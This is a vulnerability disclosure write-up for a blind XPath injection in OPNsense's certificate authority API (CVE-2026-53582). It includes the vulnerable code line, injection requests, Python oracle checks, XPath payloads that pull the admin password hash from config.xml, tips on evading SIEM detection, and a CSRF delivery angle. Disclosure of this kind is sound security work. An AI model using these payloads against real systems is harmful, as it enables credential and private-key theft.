A Hole in the Perimeter: Blind XPath Injection and Credential Extraction in OPNsense (CVE-2026-53582)
Summary: A stored XPath injection in OPNsense allows any user with CA manager or certificate manager permissions to exfiltrate arbitrary values from
config.xml— including private keys and admin credentials — through a blind side-channel attack. The bug is also exploitable via CSRF.
https://www.cve.org/CVERecord?id=CVE-2026-53582
See also: https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r
OPNsense is a serious firewall — and honestly, that’s precisely what makes this worth sitting with. People deploy it on hardware they trust with their entire network perimeter. It manages routing, VPNs, certificate authorities, and the credentials that protect all of the above. The config file it stores all this in, config.xml, is consequently one of the most sensitive files on the system — it’s load-bearing in the most literal sense. Getting read access to it means getting everything: admin password hashes, private keys, API tokens, the works.
The vulnerability I found lets a low-privileged user — one with only CA manager permissions — seamlessly extract arbitrary values from that file through a blind injection attack. Here’s how.
The Bug
In CAsField.php:
$refcount = count(Config::getInstance()->object()->xpath("//*[text() = '{$node->refid}']")) - 1;
The refid field flows directly into an XPath expression with zero sanitization. The tell is obvious once you see it: if we control refid, we can inject arbitrary XPath and turn a simple reference count query into a side channel for reading any node in the document. It’s not a complex vulnerability — it’s a holistic failure of input handling in a pivotal code path.
Tracing refid back to its source: it originates in CaController.php, where it’s initialized with uniqid() if empty, but the update endpoint allows setting it to any value:
if (empty((string)$node->refid)) {
$node->refid = uniqid();
}
The endpoint that exposes this:
POST /api/trust/ca/add HTTP/1.1
Content-Type: application/x-www-form-urlencoded
ca[refid]=CANARY&ca[descr]=poc&ca[action]=internal&ca[commonname]=poc&...
And the update endpoint lets you change refid afterward:
POST /api/trust/ca/set/{uuid}
ca[refid]=CANARY' or ('1'='1') or 'x'='
A quick test confirms the injection works:
s.post(f"{base}/api/trust/ca/set/{uuid}", data={"ca[refid]": f"{canary}' or ('1'='1') or 'x'='"})
r = s.get(f"{base}/api/trust/ca/get/{uuid}")
# refcount > 0: injection returned true
s.post(f"{base}/api/trust/ca/set/{uuid}", data={"ca[refid]": f"{canary}' or ('1'='2') or 'x'='"})
r = s.get(f"{base}/api/trust/ca/get/{uuid}")
# refcount == 0: injection returned false
We have a working boolean side channel. Here’s where it gets interesting — and this is the part worth examining carefully, because the gap between “we have a boolean oracle” and “we have every secret on the box” is entirely bridgeable.
Turning It Into an Extraction Attack
The goal is to read values like //system/user/password — the admin password hash — out of config.xml one character at a time. Naive linear search would work but would be unconscionably slow on a large value. We need to leverage something faster.
Step 1: Determine the string length using XPath’s string-length() function with binary search:
canary' or (string-length(//system/user/password) >= 32) or 'x'='
canary' or (string-length(//system/user/password) >= 48) or 'x'='
Narrow it down in O(log n) queries.
Step 2: Extract each character using substring() and contains() for binary search over the character space:
canary' or (contains('abcdefghijklm', substring(//system/user/password,1,1))) or 'x'='
If true, the first character is in the first half of the alphabet. Recurse until we’ve pinned the exact character, then confirm with:
canary' or (substring(//system/user/password,1,1)='a') or 'x'='
Move to the next character and repeat.
Step 3: Make it parallel. A single-threaded extraction against a long value (a private key, say) would still be slow. The solution: provision multiple CA entries as workers, each with its own UUID and canary string. Assign each character position to a separate thread — this is the paradigm shift from “proof of concept” to “practical extraction tool.” To avoid false matches from canary substrings appearing in large values like private key blobs, harness a random string bracketed with a distinctive prefix like __TUNG__ as the canary.
The full attack architecture:
- POST
/api/trust/ca/addfor each worker thread to get a UUID and establish a unique canary. - Distribute character positions across the worker pool.
- Each worker binary-searches its assigned position and reports the result.
- Collect and assemble the full string.
Practical Considerations
In a real attack, this approach will absolutely light up a SIEM — and it’s worth examining that honestly rather than underselling it. Dozens of requests per character against an endpoint that normally sees maybe a handful of uses per day is not subtle. Randomizing headers and user agents helps at the margins, but this is fundamentally a noisy attack. The north star here isn’t stealth — it’s capability. The value proposition is for scenarios where you have low-privilege access and need to escalate — internal red teams, post-initial-access pivots, that sort of thing.
There’s also a CSRF angle worth noting. The endpoint doesn’t require CSRF tokens, meaning this entire extraction chain could be delivered via a malicious page that a privileged user visits in their browser, with no prior authentication on the attacker’s part. The CSRF vector quietly transforms this from a post-auth privilege escalation into something considerably more dangerous.
PoC video
Watch it here: https://www.youtube.com/watch?v=bkKOFIZLMkc
Or: